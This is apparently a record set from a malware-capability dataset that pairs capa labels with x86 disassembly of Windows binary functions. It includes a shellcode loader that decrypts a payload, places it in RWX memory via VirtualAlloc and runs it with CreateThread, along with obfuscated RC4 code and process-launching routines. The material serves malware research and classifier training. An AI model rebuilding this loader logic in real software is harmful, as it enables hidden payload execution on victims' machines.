joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017db
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], str._DEBUG__Executing_payload...
call sub.msvcrt.dll_puts
mov dword [esp], str._DEBUG__Decrypted_payload__first_16_bytes_:
call sub.msvcrt.dll_printf
mov dword [ebp - 0xc], 0
jmp 0x401824
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str._02x
call sub.msvcrt.dll_printf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xf
jg 0x401832
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x401802
mov dword [esp], 0xa
call sub.msvcrt.dll_putchar
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40188c
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str._ERROR__VirtualAlloc_failed._Error:__lu_n
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x4019d4
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str._DEBUG__Memory_allocated_at:__p_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str._DEBUG__Payload_copied_to_allocated_memory.
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401940
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str._ERROR__CreateThread_failed._Error:__lu_n
call sub.msvcrt.dll_printf
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, 0
jmp 0x4019d4
mov dword [esp], str._DEBUG__Thread_created._Waiting_for_execution...
call sub.msvcrt.dll_puts
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4019a5
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], eax
mov dword [esp], str._ERROR__WaitForSingleObject_failed._Error:__lu_n
call sub.msvcrt.dll_printf
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, 0
jmp 0x4019d4
mov dword [esp], str._DEBUG__Payload_execution_finished_successfully.
call sub.msvcrt.dll_puts
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov eax, 1
leave
ret
Function at 0x4019d6
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
and esp, 0xfffffff0
mov eax, 0x1020
call fcn.004026f0
sub esp, eax
call fcn.004020a0
mov dword [esp], str._DEBUG__Decrypting_the_payload...
call sub.msvcrt.dll_puts
mov dword [esp + 0x1018], 0x10
lea edx, [esp + 0x18]
mov eax, 0
mov ecx, 0x400
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], 0
cmp dword [esp + 0x1018], 0
jne 0x401a3f
mov dword [esp], str._ERROR__Encrypted_payload_is_empty._Exiting...
call sub.msvcrt.dll_puts
mov eax, 1
jmp 0x401b63
mov eax, dword [esp + 0x1018]
mov dword [esp + 4], eax
mov dword [esp], 0x4060d0
call sub.msvcrt.dll_printf
lea eax, [esp + 0x14]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x1018]
mov dword [esp + 4], eax
mov dword [esp], 0x406080
call fcn.00401460
mov eax, dword [esp + 0x14]
test eax, eax
je 0x401b3a
mov eax, dword [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp], str._DEBUG__Decryption_successful._Payload_size:__lu_bytes_n
call sub.msvcrt.dll_printf
mov dword [esp], str._DEBUG__Decrypted_payload__first_16_bytes_:
call sub.msvcrt.dll_printf
mov dword [esp + 0x101c], 0
jmp 0x401ae1
lea edx, [esp + 0x18]
mov eax, dword [esp + 0x101c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str._02x
call sub.msvcrt.dll_printf
add dword [esp + 0x101c], 1
cmp dword [esp + 0x101c], 0xf
jg 0x401afa
mov edx, dword [esp + 0x101c]
mov eax, dword [esp + 0x14]
cmp edx, eax
jb 0x401ab6
mov dword [esp], 0xa
call sub.msvcrt.dll_putchar
mov eax, dword [esp + 0x14]
mov dword [esp + 4], eax
lea eax, [esp + 0x18]
mov dword [esp], eax
call fcn.004017db
test eax, eax
je 0x401b2c
mov dword [esp], str._DEBUG__Payload_executed_successfully.
call sub.msvcrt.dll_puts
jmp 0x401b46
mov dword [esp], str._ERROR__Payload_execution_failed.
call sub.msvcrt.dll_puts
jmp 0x401b46
mov dword [esp], str._ERROR__Decrypted_payload_is_empty_or_invalid.
call sub.msvcrt.dll_puts
mov dword [esp], str._DEBUG__Program_will_now_pause_for_manual_inspection.
call sub.msvcrt.dll_puts
mov dword [esp], str.pause
call sub.msvcrt.dll_system
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4021b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x4021fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x4021f4
test esi, esi
je 0x4021f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021d0
mov dword [esp], 0x408044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4023e0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x402430
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402508
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40246e
cmp eax, 4
jne 0x402490
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40247e
cmp edx, 4
je 0x40247e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004023e0
Function at 0x402cd0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x402d29
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetCommandLineA
lea edx, [ebp - 8]
call fcn.00402b6c
mov dword [ebp - 4], eax
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00402b6c
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x402d13
inc ebx
jmp 0x402cfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402d30
lea eax, [ebp - 8]
call fcn.00403edc
ret

Function at 0x402d38
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403edc
test esi, esi
jne 0x402d6f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00403fcc
jmp 0x402d90
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402b6c
mov dword [esp], eax
test esi, esi
je 0x402d90
cmp dword [ebx], 0
je 0x402d90
dec esi
jmp 0x402d77
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x403290
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x413020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403328
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403308
xor eax, eax
push ebp
push 0x403301
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403344
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403308
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x413020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x413020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d58
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x414044], 0
je 0x403db9
cmp word [0x414218], 0xd7b2
jne 0x403d81
cmp dword [0x414220], 0
jbe 0x403d81
mov eax, 0x414214
call dword [0x414230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x413068
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403de0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41302c], 0
jne 0x403dd5
push 0
push 0x413060
push 0x413068
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405918
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40597e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040414c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402e84
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405968
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405985
lea eax, [ebp - 0x10]
call fcn.00403edc
ret

Function at 0x409bf0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409c29
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403fcc
jmp 0x409c32
mov eax, ebx
mov edx, esi
call fcn.00403f30
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409c3c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409c5d
mov al, byte [esp]
jmp 0x409c5f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a2f4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40a15c
mov eax, dword [0x413500]
cmp byte [eax], 0
je 0x40a370
mov eax, dword [0x41341c]
call fcn.00402e00
call fcn.00402a98
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407544
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a3b8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a3a6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4133f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x414660]
call fcn.00404dc0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b0b8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b11c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040414c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004070f8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b123
lea eax, [ebp - 0xc]
call fcn.00403edc
ret
Function at 0x10009998
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x18], 0xb94
cmp dword [ebp - 0x18], 0x2141
jle 0x10009a7a
adc eax, 0x2a0cd9ed
xchg ebp, eax
sub byte [edx - 0xd84124b], cl
wait
mov ah, byte [esi - 0x499deb8e]
hlt
and dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0x9e4
cmp dword [ebp - 0x1c], 0x14ba
jle 0x10009b78
push ss
dec ebx
js 0x10009ad7
push edx
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
mov word [eax + 4], ds
sbb dh, cl
pushal
hlt
nop
push cs
sbb dword [eax], esp
insb byte es:[edi], dx
sti
sub edi, dword [ebx]
arpl bx, dx
lahf
mov byte es:[0xd208b775], al
xchg ebp, eax
invalid
mov dword [ebp - 0xc], 0x1f
jmp 0x10009b88
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10009e1a
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp + 8]
je 0x10009ba5
mov byte [ebp - 1], 1
jmp 0x10009ba9
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
mov byte [ebp - 3], al
mov dword [ebp - 0x20], 0xcab
cmp dword [ebp - 0x20], 0x1abc
jle 0x10009cbd
add eax, 0x2e7ffb8f
fisttp word [edx + ebp*2 + 0x472e5378]
cmc
pop ss
inc ebx
daa
add eax, 0x9edf2d77
mov ah, 0x73
invalid
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp + 0xc]
je 0x10009cd0
mov byte [ebp - 2], 1
jmp 0x10009cd4
mov byte [ebp - 2], 0
mov al, byte [ebp - 2]
mov byte [ebp - 4], al
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
and eax, ecx
je 0x10009cec
and dword [ebp - 0x14], 0
jmp 0x10009cf9
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
or eax, ecx
mov dword [ebp - 0x14], eax
mov al, byte [ebp - 0x14]
mov byte [ebp - 5], al
mov dword [ebp - 0x24], 0x788
cmp dword [ebp - 0x24], 0x1834
jle 0x10009e03
fsubr st(5), st(0)
jge 0x10009d8b
std
xchg ecx, eax
sub bl, bl
sub eax, 0x43519623
adc eax, 0x62d4e7e8
jnp 0x10009d3b
rcr byte [eax - 0x5330904e], cl
invalid
sub ch, byte [esi - 0x15970de9]
int1
jbe 0x10009d93
add al, 0xa2
pop ebx
dec edi
push ecx
mov byte [ecx - 0x191753e], ch
loope 0x10009cda
mov word [ecx], cs
inc ebp
into
movsb byte es:[edi], byte [esi]
xor bh, al
imul ebx, dword [ecx - 0x74762e1b], 0x21
lahf
dec edx
sar dword [edi], cl
cmpsb byte [esi], byte es:[edi]
cmp eax, 0x86c1770d
imul ebx, dword [eax + 0x19f789d3], 0x62
invalid
nop
loope 0x10009dba
mov dword [ecx - 0x41], edx
xor eax, eax
aad 0xf5
pop edx
mov eax, 0x4a5f2610
and dword [esi], esp
pushal
stosd dword es:[edi], eax
ret 0xb47b
rol eax, 0x8c
sbb al, ch
xor al, 0xa6
das
push ebp
test dword [esi + 0x5d1a630b], edx
inc ecx
jno 0x10009d5f
adc byte [ebx - 0x11], cl
mov edx, 0x56542a0e
mov ebx, 0x5469c9f7
lodsb al, byte [esi]
push esi
push es
hlt
mov eax, dword [ebp - 0x10]
shl eax, 1
mov dword [ebp - 0x10], eax
movzx eax, byte [ebp - 5]
or eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
jmp 0x10009b81
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10010f63
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10010fb5
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
call fcn.10015499
mov ecx, eax
call fcn.100153b1
jmp 0x10010fe5
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10010fe5
push 0x2286
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esp, ebp
pop ebp
ret
Function at 0x10012ce9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10012d09
push 0x2458
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x10012e54
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
sub eax, dword [ecx]
cmp eax, 0xfffffff9
je 0x10012d56
mov eax, dword [ebp - 8]
cmp dword [eax], 0
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jbe 0x10012d6f
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0
je 0x10012d6f
mov dword [ebp - 0xc], 1
jmp 0x10012d73
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0xb780
jl 0x10012d85
mov dword [ebp - 0x10], 1
jmp 0x10012d89
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x10], eax
jg 0x10012d9c
mov dword [ebp - 0x14], 1
jmp 0x10012da0
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x14], eax
jne 0x10012db3
mov dword [ebp - 0x18], 1
jmp 0x10012db7
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x18], eax
jg 0x10012dca
mov dword [ebp - 0x1c], 1
jmp 0x10012dce
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x1c], eax
jne 0x10012de1
mov dword [ebp - 0x20], 1
jmp 0x10012de5
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp dword [ebp - 0x20], eax
jg 0x10012df8
mov dword [ebp - 0x24], 1
jmp 0x10012dfc
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
imul eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
add eax, dword [ecx]
mov ecx, dword [ebp - 4]
imul eax, dword [ecx]
cmp eax, 1
jge 0x10012e1e
mov dword [ebp - 0x28], 1
jmp 0x10012e22
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp dword [ebp - 0x28], eax
jne 0x10012e35
mov dword [ebp - 0x2c], 1
jmp 0x10012e39
and dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 1
jle 0x10012e48
mov dword [ebp - 0x30], 1
jmp 0x10012e4c
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x100170a2
Capabilities:
Create process on windows

Disassembly:
cmp byte [ecx], 0
je 0x100170b4
push 0x2f9
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
ret
Function at 0x10019672
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100196b2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100196b0
push 0x2286
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x100196d0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x100196d0
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov esp, ebp
pop ebp
ret
Function at 0x100217b6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100217e0
push 0
push 0
push 0x103d
push 0x1638
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
jmp 0x10021803
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10021803
push 0x2f9
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret

Function at 0x10021886
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100218c5
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100218c3
push 0x2286
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x100218cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esp, ebp
pop ebp
ret